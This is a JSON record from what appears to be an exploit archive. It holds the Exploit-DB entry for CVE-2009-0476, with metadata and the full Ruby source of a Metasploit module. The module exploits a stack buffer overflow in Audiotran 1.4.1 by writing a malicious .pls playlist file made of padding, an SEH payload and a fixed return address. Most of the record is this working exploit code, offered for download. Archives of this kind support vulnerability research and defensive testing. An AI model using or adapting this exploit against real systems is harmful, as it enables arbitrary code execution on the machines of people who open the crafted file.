{"exploit":{"id":"EDB-16626","name":"Audiotran 1.4.1 - '.pls' Local Stack Buffer Overflow (Metasploit)","description":"Audiotran 1.4.1 - '.pls' Local Stack Buffer Overflow (Metasploit)","cves":["CVE-2009-0476"],"author":"Metasploit","published":"2010-01-28","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16626","path":"exploits/windows/local/16626.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16626.rb","vulnerabilities":[{"id":"CVE-2009-0476","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in MultiMedia Soft AdjMmsEng.dll 7.11.1.0 and 7.11.2.7, as distributed in multiple MultiMedia Soft audio components for .NET, allows remote attackers to execute arbitrary code via a long string in a playlist (.pls) file, as originally reported for Euphonics Audio Player 1.0. NOTE: some of these details are obtained from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-0476","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-0476"},"updatedAt":"2024-08-07T04:31:26.337Z","retrievedAt":"2026-11-26T21:10:55.630Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16626.png?v=2","url":"https://exploitbin.com/exploits/EDB-16626","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16626/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16626/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: audiotran_pls.rb 8306 2010-01-28 21:04:01Z swtornio $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::FILEFORMAT\n\tinclude Msf::Exploit::Remote::Seh\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Audiotran 1.4.1 (PLS File) Stack Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack-based buffer overflow in Audiotran 1.4.1.\n\t\t\t\tAn attacker must send the file to victim and the victim must open the file.\n\t\t\t\tAlternatively it may be possible to execute code remotely via an embedded\n\t\t\t\tPLS file within a browser, when the PLS extention is registered to Audiotran.\n\t\t\t\tThis functionality has not been tested in this module.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author' \t =>\n\t\t\t\t[\n\t\t\t\t\t'Sebastien Duquette',\n\t\t\t\t\t'dookie',\n\t\t\t\t],\n\t\t\t'Version'        => '$Revision: 8306 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2009-0476'],\n\t\t\t\t\t[ 'OSVDB', '55424'],\n\t\t\t\t\t[ 'URL', 'http://www.exploit-db.com/exploits/11079' ],\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 6000,\n\t\t\t\t\t'BadChars' => \"\\x00\\x0a\\x3d\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Platform' => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Windows Universal', { 'Ret' => 0x10101A3E } ], #p/p/r in rsaadjd.tmp\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => 'Jan 09 2010',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\t\tregister_options(\n\t\t\t\t[\n\t\t\t\t\tOptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),\n\t\t\t\t], self.class)\n\n\tend\n\n\tdef exploit\n\n\t\tsploit = rand_text_alpha_upper(1308)\n\t\tsploit << generate_seh_payload(target.ret)\n\t\tsploit << rand_text_alpha_upper(8000)\n\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n\t\tfile_create(sploit)\n\n\tend\n\nend","sha256":"a60d008796ea92019de9336ea9d713387f914d8a4184ed9cec273e939143f215","bytes":2036,"fetchedAt":"2026-11-26T21:10:54.529Z","encoding":"utf-8 (display only; download retains original bytes)"}